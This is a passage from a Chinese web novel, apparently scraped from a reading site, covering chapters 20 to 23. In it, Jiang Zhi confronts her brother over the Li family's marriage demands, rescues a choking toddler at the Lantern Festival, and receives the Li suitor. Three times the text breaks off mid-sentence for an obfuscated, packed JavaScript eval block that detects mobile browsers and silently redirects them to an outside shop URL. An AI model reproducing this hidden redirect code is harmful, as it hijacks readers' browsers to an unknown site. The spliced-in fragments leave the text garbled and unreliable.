话说到这份上,他竟还执迷不悟，姜织终于看明白了，她的哥哥，就如同这世上绝大多数男子一样，纵然心疼姊妹，但终究无法真正感同身受，无法理解女子处境之艰。 她陡然换了副口吻，眼神直勾勾盯着他：“那好，哥哥。” “假若，今日要结亲的不是姐姐和李文远，而是你，和李文淑。” 姜犁愣了愣。 “今日那汤婆子来找的，不是让姐姐做绣活，而是让你在半月之内，给她盖好一座结实精致的房屋。一砖一瓦，一梁一柱，都要你亲手来，闭口不谈工钱的事，李泉水当场拍着胸脯给那婆子保证，你姜犁一定能按时盖好，保准让她满意。” “怎，怎么会这样比？”姜犁的脸色愈发白，他下意识想反驳。 “你以为做绣活轻省，跟你砌墙盖房不能相提并论，是吗？”姜织戳破他：“不是的，哥哥，要费的辛苦，要耗的心血，是一样的。” 姜犁张了张嘴，发觉自己一个字也说不出来。 “还没完，哥哥。”姜织继续往下说，“你不是娶李文淑，是要入赘到李家去，以后就在李家屋檐下讨生活，看人脸色，低声下气，无人替你撑腰。你给那汤婆子盖完房，还有左邻右舍，八竿子打不着的贵人，一个个都会找上门，让你做这做那，做好了是理所应当，做不好就是你无能，丢了你岳家的人，连累你妻子在村里抬不起头。” “哥哥，”姜 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姜织转身迈步，声音笃定：“我们就回去，安安生生地等着，不出三日，那李家要不来上门求我们，我替姐姐去他李泉水屋门前跪着！” ———— 姜织兄妹的争吵声渐行渐远，片刻后，旁边茂密的灌木林子里一阵响动，蹿出两个青年男子。 走在前头的一个，年纪稍长，约莫二十出头，身形精干，穿一身灰布短打，肩上用一根细木棍挑着几只野兔并野货。 紧随其后的另一位，身材更为高大挺拔，面容却显得年轻，不过十七八岁的年纪，眉眼深邃，鼻梁挺直，带着少年人特有的俊朗野悍。 年长的青年望着那兄妹消失的方向，咂了咂嘴，笑道：“好一个能言善辩、凶悍如虎的女子，这是哪村哪家的啊？” 他回头冲着弟弟挤眉弄眼：“看见没？那当哥哥的是个实心傻葫芦，被妹妹骂得一愣一愣，屁都放不出来一个，哈哈！” 笑过一阵后，他又琢磨道：“听口风，他们所说的李家，是落雁村那李童生家吧？” “应当是，”旁边的少年应了一声，声音不高，他的目光也落在山道尽头，眼里没有什么特别的情绪。 “啧，我倒有些好奇了，回头问问娘去，打听打听落雁村李家是跟哪家结了亲，我还真想看看，那李童生这几日会不会真拉下脸，去那丫头家求人。” “老三，要不打个赌？”那青年眼珠子一转，用脚踹了踹弟弟，挑眉笑道：“我赌那李家不会去，那当哥的不是说了吗，他家妹妹要是不妥协，坏了名声，以后更难嫁，攀不上更好的亲事了，李家捏着这个，多半等着女方家自己服软。” “你今儿是山货收多了，把脑子也塞满了？”那少年闻言终于收回目光，淡淡瞥了他二哥一眼，“你比那家的哥哥还愚钝些？” 青年被噎了下，又是一脚：“嘿！你这小子。” 少年没搭理他，一边将肩上的褡裢系紧，一边往前走去，丢下一句：“那女子说得再清楚不过，现在是李家求人办事，圆他自己夸下的海口。” 青年赶紧跟上：“哎，知春，你是赌他会去？行啊，赌点什么？” 少年脚步不停，声音顺着风飘散：“赌就赌，我赌那李生三日内，不，明日定会去那家求人。” “说的什么大话，赌你洗一个月全家衣裳，连带挑水.......” 20. 杂粮菜团 姜织兄妹返归到家时，天色已暗，暮色四合。 锅碳听见熟悉的脚步声，嗷呜一声从草窝里蹿出来，摇头摆尾，直往姜织身上扑跳着蹭，姜织揉着毛茸茸、温热热的狗头，紧绷的脸皮才稍稍松快了些。 “回来了？”屋里灶上正烧着滚水，林移桃笑着招呼：“就等你们开饭呢。” “可算回来了！”看火的姜绪一声欢呼，拍着手喊：“二姐，快下元宵，下元宵，肚子咕咕叫了！” “小馋猫！”姜纭含着笑，“哥哥，织儿，累着了吧，绪儿快快去端盆打热水，给你哥哥姐姐暖暖手。” 说罢，她挽起衣袖着手捏元宵。 面是早备好的，黄豆粉掺着糜子粉，加着温水一把一把地抓匀，揉成个光溜团子。案台边上放着从溪边现摘的野荠菜，用井水涮过，绿莹莹地正滴着水，掐了最鲜亮的嫩尖剁碎，混进野菜馅里，又从粗瓷陶罐底刮出一小勺子粗盐，将馅搅拌匀。 揪下一小块面团，在掌心揉圆，拇指往中间一按，压出个圆润的窝，填上勺绿油油的野菜馅，轻轻一拢一旋，一个圆鼓鼓、胖乎乎的元宵团子便成了，肚皮饱满，封口严实，依次码在竹篾屉上，整整齐齐。 锅在灶上咕嘟咕嘟冒着泡，林移桃掀开木锅盖，一团白雾蓬蓬地涌上面，团子挨个滑下锅，在滚水里沉沉浮浮。 姜织往灶里塞了把柴，将火烧得更旺，不多时，黄澄澄的面皮变得透亮，隐隐能瞧见里头野菜暗绿，米面菜香从锅沿丝丝缕缕地钻出来。 待一锅菜团子煮得个个浮起，林移桃用笊篱捞了盛在粗陶碗里，姜绪最先按捺不住，用竹筷夹了个吃，被烫得直吸气，又含糊不清地嗷嗷叫着真香。 “快吃，”林移桃将剩下的团子舀出来，就着煮团子的汤水，丢了一把荠菜进去，烧了锅野菜汤，扭头喊孩子们：“愣着作甚，趁热。” 姜织洗净手，走到桌边坐下，低头望着元宵团子发怔。 上元节图个团圆吉祥，揭得开过锅的，多会弄些糯米或是粘米粉，做上一碗甜甜糯糯的元宵应景。自家换的那点子糯米悉数送去了李家，自家人吃着这粗粝糙口的杂粮菜团，竟已觉得是难得的满足。 姜织用力地捏紧筷子，真是可笑至极。 姜犁端着碗默默坐在一旁。回来路上，三妹妹一再叮嘱他，先别将在李家的遭遇说给娘亲听，她笃定李家一定会来登门，到时看那家人的态度，再和娘亲道明实情。 他看着为数不多的杂粮团子，也不可避免想起那些糯米粉，心里头一回冒出不满来，自家都没得吃，凭什么要先供着李家吃？ 姜织夹起团子咬了口，姐姐手艺一向好，哪怕是杂粮野菜，也做得口齿留香。她一眼瞥见趴在桌腿边，巴巴着眼瞧着主人的锅碳，心头一软，将咬了口的团子轻轻丢给锅碳吃。 “哎！”林移桃瞧见叹了声：“人都没得吃，还给狗吃。” 姜织低声嘀咕了句，给那李家吃，还不如给狗吃，只有挨边的姜犁听见了，原本僵直的身形更是硬邦邦杵那儿。 一碗团子刚吃完，锅碳突然蹿出门去，冲着外头汪汪叫了几句，没叫得太凶，想是村里人。 敲门声在屋外笃笃笃响起，林移桃搅着灶台上的野菜汤没空挪脚，姜织起身开门问：“谁啊？” “是我，织织儿在家吗？”有妇人应声，声音里带着笑问，姜织听出来了，是姜季福家的婶儿赵桂梅，也正是今早在路上碰见的姜秋华她娘。 “赵婶婶？有什么事吗？”姜织拉开门，略有些疑惑，赵桂梅一年到尾从她家屋门前过的次数都少，今儿是什么稀奇事，竟要敲门来问人。 “哎呦，正吃着呢？”赵桂梅端着一碗糯米元宵，满脸笑着踏门进屋。 赵桂梅将碗放在桌案上，客套了几句，才道明来意。原来因为姜秋华晌午回娘家时，路上碰见了姜织，看到她怀里抱着酸菜坛，被那酸笋子勾起了馋虫。 姜秋华自小就贪酸爱辣，还在家做姑娘时便最爱吃酸笋子，过年吃油菜多，胃口正腻味，何况晚食吃下几碗甜腻腻的元宵，愈发齁得慌，一想起酸笋子就口齿生津。 姜秋华就跟母亲提了两句，赵桂梅最疼爱闺女，不必二话，当即就端着一碗元宵，来姜织家讨要酸笋子了。 “这点事哪里值当您用元宵来换，”林移桃将锅勺放下，起身来招呼。 “可不是，酸菜不稀奇，偏孩子就好这口，这不就厚着脸皮来了，”赵桂梅哂笑道。 “小事小事，”林移桃爽快折身去里屋坛子里捞，一边聊着：“要吃来拿就是，秋华难得回趟娘家，她不是前年生了个小闺女，长多大啦？” 腌菜坛酸笋所剩不多，林移桃狠了狠心掏了一大碗出来。 她有自己的思量，姜季福在族里是除族长外讲话最有分量的，跟她家处好关系，若是能在族长面前说说好话，独立门户的事，或许另有转机，想着，手边就给赵桂梅压压实实装满了一碗。 “怎么装这么多？”赵桂梅看着冒尖的酸笋子咂舌。 “嗨，不值钱的玩意，也给金瓜尝尝鲜，不够再来拿，”林移桃亲热的笑。 赵桂梅没成想林移桃这么好说话，客套几句就收下了，但林移桃怎么说都不肯收她送来的元宵，只说自家正好在煮，吃都吃不完。 因林移桃态度坚决，一碗元宵推来阻去，汤汁都撒了出来，赵桂梅实在没辙，只好说下次有好食再来还人情。 “不必不必，织儿，送送你赵婶婶，”林移桃见外边天已擦黑，怕赵桂梅两手端不稳碗，便叫姜织去送她，锅碳甩着尾巴就跟着小主人走。 要说林移桃，村里上下都知道她是个放屁过称小家子气的，赵桂梅住在下村，和她家隔得远，平常也许少打交道，女儿姜秋华一再说起酸笋的事，赵桂梅这才拿着汤圆来换。 这可是裹了豆沙糖馅的糯米汤圆，够换她林移桃多少酸笋了，赵桂梅忍痛才分出这么一碗出来，不想林移桃今日竟这般痛快大方，都没收她的汤圆，让赵桂梅意外极了。 “织织儿，你娘可真是个能干人，性子也好相处，”赵桂梅领着姜织往她家走，笑着说：“眼瞧着就把你姐弟都拉扯大了，真不容易。” 姜织低声嗯了句，赵桂梅平常是个精明妇人，寸利必争，总爱打听东家长挑西家短，搬弄些口舌是非，也就今日白白得了好处，才能从她嘴里听到几句夸赞话。 不过姜织心思一转，就知道她娘的用意。所以态度也放得很好，时不时附和赵桂梅几声。 见姜织这般温文乖顺，赵桂梅便找话头：“织织 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17015902|193146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿你今年多大了，满十五了吗？这一眨眼，你也是个大姑娘哩。” “快了，等入秋就满十五。” “哎呀呀，可是大姑娘了，能说媒论嫁了，到时可得放亮眼睛，寻个好婆家！” 赵桂梅乐呵呵的，不住回头打量姜织，年前瞧着这顺时家的三丫头还是个瘦骨伶仃的黄毛丫头，不过一个年头，竟有种脱胎换骨之感，长大了不少。 姜织这边只嗯嗯的应声，也不说多话。 赵桂梅知道林移桃面貌好，她家的姑娘，底子总归差不到哪里去，姜织这丫头虽然是个鬼灵精，但是这泼辣辣的性格，却正和赵桂梅的意。 就说那姜永贵，招猫逗狗，狗都嫌的玩意儿，村里能让他吃亏的能有几个，偏在织丫头手里栽了跟头屁话都没二句。 赵桂梅背后偷着笑话了好几回，依照她的看法，这织丫头那回属实让她刮目相看，就该硬气一点，能打得姜永贵没脸，也是种本事，村里的姑娘就得泼辣有本事，否则不得叫人吃得骨头渣子都不剩。 赵桂梅越想，越觉得这织丫头不错，性子对路，模样张开了也是个出众的，说着就来了兴致：“要不要婶儿回头给你留意着，看有没有合意的小伙儿....” 姜织见她这样热情，心里微哂，想是上午族里派工抽签时，赵桂梅忙着去张罗女儿姜秋华回娘家的事，没去祭田那边，还不知道族长要将她家分出去单立门户的事。 否则，依她那性子，躲着避嫌还来不及，怎么可能有想法给她说亲。 姜织正觉得尴尬，忽然见前头路边有行人骚动，似有人在急声叫喊，夹杂着女人尖利的哭嚷，几个男人粗声争执呵斥，众人吵吵嚷嚷动静很大。 因天色完全暗了下来，瞧不清具体何人，但听声音有些熟悉，姜织心口没由来一跳，正想仰脖细看，一旁赵桂梅已经敞开嗓门喊问：“是秋华他爹吗？这怎么着，要去哪儿啊？” “是四婶吗？不好了！宝娃出事了！”路那头有人听见了赵桂梅喊声，连忙高声回。 喊话的是姜十文，姜季福在弟兄间排行老四，因此他那房都叫姜季福两口子四叔四婶，赵桂梅一听这声音，哪里还顾得上手边的元宵，撒腿就往前疯跑，边跑边厉声喊：“怎么了！宝娃怎么了！” 姜织也跟着疾步往前追，冷风在耳边嗖嗖的刮，心脏砰砰砰的跳，姜季福那大家子人多，青壮老少十几口，众人吆喊声闹起了半边村，锅碳也在脚边焦躁不安打着转，冲着那头汪汪汪吠个不停。 这样的寒冬夜，田边竟倏地有野鸦飞过，一声古怪刺耳的鸦啼声划破晚夜，惊得姜织脚步一绊，将手里的碗摔了出去，“哐当”一声碎响，却叫姜织突然想起一件事。 因这桩事前世跟她瓜葛实在不大，她也仅仅是听下屋柳婶儿说闲话叹了几句，经历的事情太多，这事又隔得太久远，她之前全然不记得了。 姜十文吼的那句“宝娃出事了”，让赵桂梅刹那急了眼，他说的定然是姜秋华的小女儿，今早姜织遇到的，姜秋华还抱着那粉雕玉琢的娃儿哄过：“妹儿快看看织织小姨，以后要跟小姨一般好看是不是。” 姜织想起的是，柳婶儿从前聊闲话叹过。 “赵桂梅家那闺女是个傻的，喂个元宵，把好好一个娃儿给喂死了。” 21. 元宵 脑海里蓦地闪过柳婶儿的嚼舌，背脊没由来升起一股寒意，姜织摇了摇头，稍稍定神，见前方愈发吵闹，拔腿就朝人群处冲。 “妹儿！妹儿！我可怎么办哦，我该死啊我该死啊！” 人堆正中间，那姜秋华哭得上气不接下气，她丈夫抱着个娃儿，正没头没脑的干着急，周遭一圈人七嘴八舌，人影在昏沉沉的火把光亮里晃来晃去。 “去叫郎中了吗？郎中在家吗？”有人扯着喉咙问，“狗娃叫去了！”另一头有人回。 “不如咱们把宝娃直接抱到郎中家去？” “莫急莫急，狗娃跑得快，咱们这边走，他们那边来，说不定正好走岔路错过了，不如等等稳当。” “要不去请七仙姑来，让她先作法镇一镇？” 众人你一言我一语，喊声哭声闹闹哄哄搅作一团，赵桂梅已经冲到姜秋华身边，尖声问：“宝娃怎么了？” “娘，娘，”姜秋华见了主心骨一般，抓住赵桂梅袖子，哭道：“金瓜见妹儿嘴馋，就喂她吃了个元宵，不知道怎么了，妹儿脸色突然就难看极了，都哭不出声儿，你看看，你看看，这是怎么了？” 这时有不少人将火把凑近来，光照通明，赵桂梅去接女婿手上的宝娃，却见小娃娃脸色已然变得灰紫，脸绞皱着要哭不哭的样子，鼻息间的进出气都没见多少了！ “金瓜，金瓜！怎么回事，你喂妹妹吃什么了？” “我，我，哇，”还没半人高的男孩儿早吓得话都说不利索了：“元宵，就是元宵，妹妹自己要吃的......” 赵桂梅心中骇然，脸色煞白，她慌着手脚喃喃道：“怎么会？怎么会？咱们吃了都没事啊，元宵那么软，娃娃能吃的啊。” 姜织喘息着跑到赵桂梅身边，手脚发着颤，呼吸有些困难，她沉目去看小娃娃，见孩子这幅模样，猜想八成是叫元宵给卡住了喉咙。 姜织冷汗涔涔，四肢僵直，脑子嗡嗡的响，仅存的理智提醒她，不要多管闲事，若是救不活，反而会白担了害人的罪名。 但脑海又不断回想起这孩子粉扑扑的脸蛋儿，乌溜溜葡萄眼，咬着手指头好奇打量着她，而如今她却躺在阿婆怀里，难受得哭都哭不出来，即将就要死了。 “婶婶，你把孩子给我，”姜织只犹豫了一瞬，对着赵桂梅沉声喊了句。 赵桂梅正急得六神无主，压根没听清楚姜织的声音。 “孩子给我，你这样抱着，她会被憋死的！”姜织加大了声音，心一急，伸手去摇赵桂梅的胳膊。 “姜织！你干什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17021151|193146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么？”旁边姜季福正护着赵桂梅，冲着姜织吼了一嗓子，怒眉倒立，唾沫子都喷到了她脸上：“你个女娃懂什么，躲开些！” 姜织本就头昏脑涨，被姜季福当着面这么一声怒吼，吓得周身都震了震，她低头去看小女娃，这时候孩子脸色已是紫绀色，再不救真来不及了，她只好去抓着姜秋华的胳膊，又重复了一遍：“秋华姐姐，把孩子给我，她是被元宵卡出了喉咙，再多等片刻就要憋死了！” “滚开！”姜秋华丈夫被姜织口里的死字激红了眼，一时怒火中烧，反手就把她推了出去，姜织一时躲闪不及，啪嗒一下摔倒在地上，两边手肘擦得生疼，姜织捂着手臂闷哼一声。 这孩子是个女娃，姜织隐约记得，前世姜六婶儿说闲话时，轻飘飘说了句：“幸好只是个女娃，那要是个男娃，赵桂梅那闺女说不定得被夫家休了回来。” 但此时此刻，姜织看得分明，无论是姜季福夫妇，还是姜秋华夫妻，个个在真心实意为这小女娃心急如焚。 赵桂梅生的闺女就姜秋华一个，从小到大当掌中宝的疼爱着，连带小孙女也宝贵无比。 也正因着这一点，姜织擦擦手肘站了起来，没计较姜秋华丈夫的鲁莽，而是冷静了声音，坚持对着赵桂梅说：“婶婶，把孩子给我。” 22. 救命之恩 “妹儿，妹儿！” 在场众人一时惊滞，手边动作顿住，方才的闹喊瞬息静下，只能听见姜秋华母女在放声大哭，和锅碳护主地汪汪吼叫。 姜秋华将女儿紧紧抱了起来，看着哭闹不止的娃儿，眼里是劫后余生的狂喜，她搂着孩子双腿一软，坐在地上痛哭:“娘的心肝，你要了娘的命算了！” “娃能哭了，这是活了？” “怎么回事，真活过来了？” 老树底下众人踮脚伸脖，议论纷纷，姜织不成想救个人竟闹成这阵仗，见孩子已无大碍，她心头悬石落下，揉着酸痛的胳膊，撑着一直守在一旁的锅碳起身。 这会儿大伙只顾围着死里逃生的小娃儿瞧稀罕，姜织一人一狗悄悄地退出人群，深一脚浅一脚往家走。 林移桃和姜犁被姜十文喊了来，半路遇上，锅碳冲着前头汪汪叫了两声，姜犁看见模糊人影，大声喊：“织织！” 林移桃疾步走近，见姜织连路揉着胳膊，急问:“妹儿，怎么了？摔哪里还是怎么着？” 姜织抱着手臂摇摇头：“没有，已经没事了，娘，咱们回去吧。” “吓死娘了！十文这孩子，火急火燎，说又说不清楚。” 姜十文急声切切说姜织出事了，吓得林移桃心口狂跳，生怕女儿走夜路摔进溪里，或是掉哪处高圹下，有个什么长短，带着姜犁慌不择路就出来寻人。 “没事就好，没事就好，以后走夜路提着灯再出门，”林移桃搂住闺女连声叹。 一旁的姜十文也上下喘着气，不知如何跟林移桃解释，他仰头望向那头仍围拢一处的人群，目光收回落在姜织身上，犹豫着，难掩关切地问：“织,织丫头，你还好吧？娃儿怎么样了？” “都无事了，十文哥，”姜织轻声谢过：“谢谢了，你快回去吧。” 姜十文借着皎洁月色，看着姜织那单薄如细柳般的身躯。 月光清冷冷地照下来，勾勒出她纤细的轮廓，仿佛一阵风就能将她吹折了去。她头上垂挂髻经过整日奔波，发髻有些凌乱，乌黑的发丝从鬓边松散垂落，衬得那张隐在阴影里的脸只有巴掌大。 他喉结动了动，还未张口，姜织已抬步前行，满天皎辉下，母子三人并一条矮狗的影子越离越远。 不多时，狗娃也将郎中请到了村里，郎中叫人将油灯提近，原地接过孩子，仔细望闻问切之后，说是孩子让元宵软糕淤堵了食道，闷住了口鼻，幸好将淤堵物拍打了出来，挽救得及时。 姜秋华心有余悸，双腿还跟软面条似的，她这才想起姜织来，姜织方才一直在喊她，嘴里说的也是郎中这般说法，姜秋华悔怕交加，冷汗连连。 郎中又见七仙姑脚边搁着碗符水，当即脸拉了下来。 孩子本身就口鼻受阻，呼吸不能了，若是再被这碗符水灌下去，说不定当场小命难全，但他不好直接给道姑难堪，只拐着弯的提了若救法不得当的惊险后果。 七仙姑自然听出了郎中话里意味，脸色讪讪的收了把式，她这也是赶鸭子上架，寻常看相合八字才是她的本行，这种治病救人的活计本就是郎中的事，她又不是大罗神仙。 “方才是谁救的？”确认小孩已无大碍后，郎中好奇又问。 他时常碰上因噎食卡住食道的病患，多数人家遇到这种险境，总是胡乱一顿拍背喂水，不但于事无补，往往适得其反，等他到时病患已经憋没了气息，无力回天，华佗难治。 “好像是，顺时家那丫头，”有人犹豫着回。 郎中又道：“是个丫头救的，真是难得，那丫头人呢？” 郎中想叫她过来问问是怎么救的，大伙儿这才后知后觉，姜织竟悄无声息地回去了。 想起方才那场闹剧，众人四散后感慨连连，有说姜织是个憨的，会救人不直说，鲁莽莽抢孩子惹得大伙儿误会，又有说姜织那丫头实心肠，好心救了人，反被季福佬家一顿打骂，另外一些咂叹今儿真是惊险，郎中可说了，再晚一会儿孩子就没气了，以后给娃娃喂糯米元宵之类的软黏食千万得当心。 而姜秋华一家又悔又臊，尤其姜季福和他姑爷还对姜织动了手，听罢郎中的话，简直羞愧难当。 姜秋华当晚回去就说让孩子认姜织当干娘，救命大恩无以为报，老规矩是就认作干娘，日后逢年过节送钱送物，都得当作半个亲娘对待。 “人织丫头还是个黄花大闺女，哪有未出嫁就认干娘的，”赵桂梅也懊悔莫及，当时她在一旁也骂了姜织好几声难听的，这时一张老脸热得慌，“不若等她放个好人家，再认亲不迟。” “织织可定了人家了？”姜秋华好奇问。 “哪里，织丫头那个情况，殷实人家看不上她，家境差些的她家看不上，何况她老娘林移桃眼光挑剔，心气比天高，就说她家大女儿姜纭都没定事，估摸着，一心等那落雁村李生考中功名，才肯松口呢，姜织还是小的，更别提了。” “倒也不单是这个缘故，”姜秋华的哥哥姜实华闻声，想起前儿个后生几个闲扯，接嘴，“前阵我听十文问起过犁耙，就打趣娶他妹妹这事，犁耙说他家其实没什么要求，只要人踏实待她妹妹好就够了，那落雁李家也穷得很呢，还得桃婶儿这边帮衬着。” “也是，”赵桂梅想了想：“林移桃心气再高，自家几斤几两她还不清楚？嫁闺女不就图对方人品好、待闺女好就够了”。 姜秋华闻言眼前却一亮，心里隐隐有了主意，准备明日一早，先提些礼去同织丫头赔罪道谢，再好好打听这事儿，重恩难偿，如若能为织丫头促成好婚嫁，也算一桩大喜事。 姜织救姜秋华家的小女娃，不过是情急之举，到家后才发觉后背冷汗都湿透了，回想起来心有余悸。 她之所以会那套救人手法，只因前世认识了个花楼姑娘，叫作灵萝。 那姑娘长得倒是娇媚芜丽，却十分缺心眼儿。灵萝初一开.苞就与恩客珠胎暗结，把花楼老鸨气得险些要灌她红花汤，好在那位恩客还是认账的，将灵萝从花楼里赎了出来，安置在了柳喜老巷，先前恩客还时常登门留宿，许诺只要灵萝产下麟儿，便将她带回家中纳为偏房。 谁知灵萝十月怀胎后，生下的却是个小闺女，那恩客估计也和家里人谈崩了，留下些琐碎银子，自此再无音信。 灵萝一人艰辛将孩子拉拔大，因姜织从前受了她些许恩惠，见她委实落魄穷困，便时常送些钱物来照拂一二。 有一日姜织买了鸡子来看望，灵萝煮了几个给小闺女吃，小丫头饿得慌，剥了外壳就狼吞虎咽，生生卡得上气不接下气，把姜织和灵萝吓掉了魂，抱着孩子就冲出家门找郎中。 万幸柳喜老巷的巷尾就是一家医馆，老郎中将孩子食道里的蛋黄拍打了出来，还教了姜织和灵萝那套救人的手法。 姜织没有生过孩儿，但她见当娘的，比如她自己的娘亲、阿婆，哪怕是出身花楼的灵萝，都将孩子看得比自己的命还重。 所以很是理解昨夜姜秋华一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵桂梅就那包铜板硬塞进姜织手里：“拿着，昨儿还浪费了你家一大碗酸笋，婶婶知道你是个好的，不愧你爹在世时那样教导疼爱。” 姜季福一家这番风风火火的架势，林移桃实在盛情难却，推推挡挡了大半晌，不想收也只得收下。 赵桂梅说着，又问起林移桃有关姜织的年岁如何，听话里话外的意思，像有意要给姜织留意一门合意的亲事。 “万求不得，这事我厚着老脸也要劳烦您了！”林移桃心中一喜，唯独说到这桩事上没有推辞客气。 因姜织今年眼看就要及笄，儿女亲事就是林移桃心头上一块重石，她家里穷成这个样子，没有当家的爹，儿女亲事任说哪家都矮一头。 好在姜纭有了意向人家，姜绪还小，眼下姜犁姜织的亲事，却是急上眉梢了。 可媒婆来讲亲的，大多是些腌臜人家，要么是方圆出了名好吃懒做、好酒烂赌的，要么是天生残缺、要人服侍的，林移桃当然不肯松口。 不出几回，就传出了说林移桃眼高手低、要求多又挑剔的谣言来。 林移桃愈发难安，孩子越大越不好讲亲，可总不能是人是鬼都应下。 如今赵桂梅主动提起要帮姜织掌看人家，林移桃求之不得，当下把姜织的生辰八字仔细告诉了她，又拍着心口说：“家室聘礼都没有要求，只要是个实在后生，手脚勤劳，肯待人好的就成。” 这边正说着话，屋外忽然传来柳婶儿的声音：“桃婶儿，快出来，快出来！” 她嗓门清亮，声音急切又带着喜色：“你家来贵客了，你那李家的贵婿，登门探亲来了！” 23. 贵婿来客 柳婶儿扯着嗓子来报喜，屋里人闻声都愣了愣。 “什么贵婿，谁家的？”林移桃一时反应不及。 只有姜犁姜织兄妹二人当即视线一撞，姜犁陡一抬眼，眼神里满是讶异、疑惑、无措。 林移桃心头微微跳着，半探身出去，只见柳婶儿领着两位年轻后生正从下屋走来。 走在前头的是个清秀书生，头戴墨色儒巾，穿一身灰布直裰，身形较为清瘦。后头跟着的那个体格略壮些，穿着宝蓝棉袍，也作文人打扮，看着更显年长，手里拎着一提荷叶包肉。 “这是？”林移桃有瞬息的犹疑，继而心口腾起阵不敢置信的惊喜。 “瞧你这老妇是高兴糊涂了！还能有谁，不就是那落雁村的李家女婿，”柳婶儿合掌揶揄道。 到底是上下屋，村里头就数柳婶儿最清楚林移桃家同那李家这门亲事的来龙去脉。 方才她在村口老井挑水，见两个面生的后生一路打听，柳婶儿好奇，就问了声你们打哪儿来，要问林移桃家做什么。 那蓝袍后生回道，自己是落雁村的，来访亲探友。 柳婶儿上下打量他一通，略一琢磨，当即一拍大腿，“哎哟！莫不是落雁村李三爷家的孙子？那个会读书，有出息的，同我们纭姐儿定了亲的那位？” 后头那后生面上尚有瞻顾，还未待解释，前头那位却已想也不想地点头应承:“正是正是，敢问婶娘，可知道那林婶儿家往哪里走？” 柳婶儿当即眉开眼笑：“巧了不是，我家正跟她家挨着，你们跟着我来！” 她急忙忙将两桶水挑回家门口，撂下扁担就引了两人来上屋。 “这，这是那李家贤侄？”林移桃擦了擦眼睛，再三确认。 “正正是！”柳婶儿高兴得跟自家女婿上门似的，乐呵呵介绍：“李家郎，这就是你林婶婶了。这么多年，我还是头一回见着你哩！你家阿爷当初倒是来过好几回......啧啧，你这孙儿，还真是一表人才，不错，真不错。” “哎哟！贵客，稀客，”林移桃慌忙忙抚了抚鬓角，忙不迭地迎出门，一边朝屋里急声唤：“纭儿，织儿，快烧水沏茶，李家，李家来客人了。” 屋内姜犁闻声却“噌”地站了起来，双手握拳，慌里慌张在原地踱了两步，眼神又不由看向姜织。 姜织眉眼一动，“哥，我说过的”，他家一定会来。 “会不会，”姜犁来回搓着手，压着嗓音不安道：“......会不会是来问罪的。” “问什么罪？谁有罪？”姜织看着自家哥哥这副未照面先矮三分的模样，心头起火，低声斥道：“除非他李家个个是蠢人！他敢上门撒野，我就敢把他打出去。” 姜犁今日本应去城里周府上工，但因家里诸事未定，只好天不亮便去邻村托了相熟的小工代为告假两日，一是为分户的事悬心，二来，心底也存着等这李家人上门的念头。 既来了远客，姜季福一家本该起身回去了，可村里人都只听说姜纭和落雁村李家有婚约，这些年来，谁也没瞧见那读书郎的真面目，难免好奇，赵桂梅便有意留下来凑这顿热闹。 那一蓝一灰两个后生先后进了堂屋。似是未料到屋里竟有这许多人，两人面上均闪过一丝愕然，不着痕迹地打量一圈后，到底还算有礼数，拱手问好。 那穿灰布直裰的书生，面容白净清秀，眉眼低垂着，神色有些腼腆局促。倒是他身旁那位着宝蓝棉袍的青年从容敞亮得多，拱手笑道：“在下姚献，是文远的族兄，今日陪文远前来，初次登门，多有叨扰。” 说着，他将手里那荷叶包递给了林移桃。 “这这，哪里需要这般客气，”林移桃嘴上推辞着，将荷叶包接过来在手中一掂量，怕是得有三四斤肉。 她忙将人往里请坐，转身就钻进里屋，翻箱倒柜地找能招待客人的东西，嘴里又连连吩咐姜犁快些烧水沏茶。 屋里众人也在悄悄打量这两位来客。那姚献约莫二十出头，生得一副好相貌，浓眉长眼，未语先带三分笑意，目光坦然地接受着众人审视。 而本应唱主角戏李文远却安静地立在一旁，他身量比姚献还略高些，却始终微垂着头，话都未接几句。 姜织盯着李文远瞧着，不过是张寻常脸孔，眉眼尚可，要说多出众却谈不上，今日登门大约多有心虚，自进门起就局促不宁地躲在族兄后头，连抬头应对的勇气都没有。 就这样一个人，姜织心头微嗤。 林移桃翻遍了柜子，过完年，家里实在没什么像样的待客之物。她一咬牙，将留着做种、粒粒饱满的花生抓了一大把，用豁了口的浅口陶盘盛了，端出来权当零嘴。 “你就是咱们纭姐儿的准女婿李家郎？”赵桂梅和姜秋华问得殷切又直白。 姜季福瞧了几眼便说要回家，但赵桂梅一贯嘴碎爱打听，碰上这稀奇哪里舍得离开，当即招呼人坐下，对着两人盘问，问年岁问家境问学业，直把那李文远问得脸皮臊红。 姜织一直关注着姐姐姜纭的神情，她到底是局外人，姐姐对李文远究竟是情根已种，还是不得已才嫁，姜织心里也没底。 好在姐姐虽也有些羞涩，耳根微红，但行事大方利落，添柴烧火，洗杯沏茶，动作稳稳当当。 经赵桂梅一番刨根挖底，众人才知，那姚献竟是落雁村里长的儿子，赵桂梅还当这是李家特地请来相看、撑场面的体面人。 得知来人身份，姜织心底又一声冷笑。 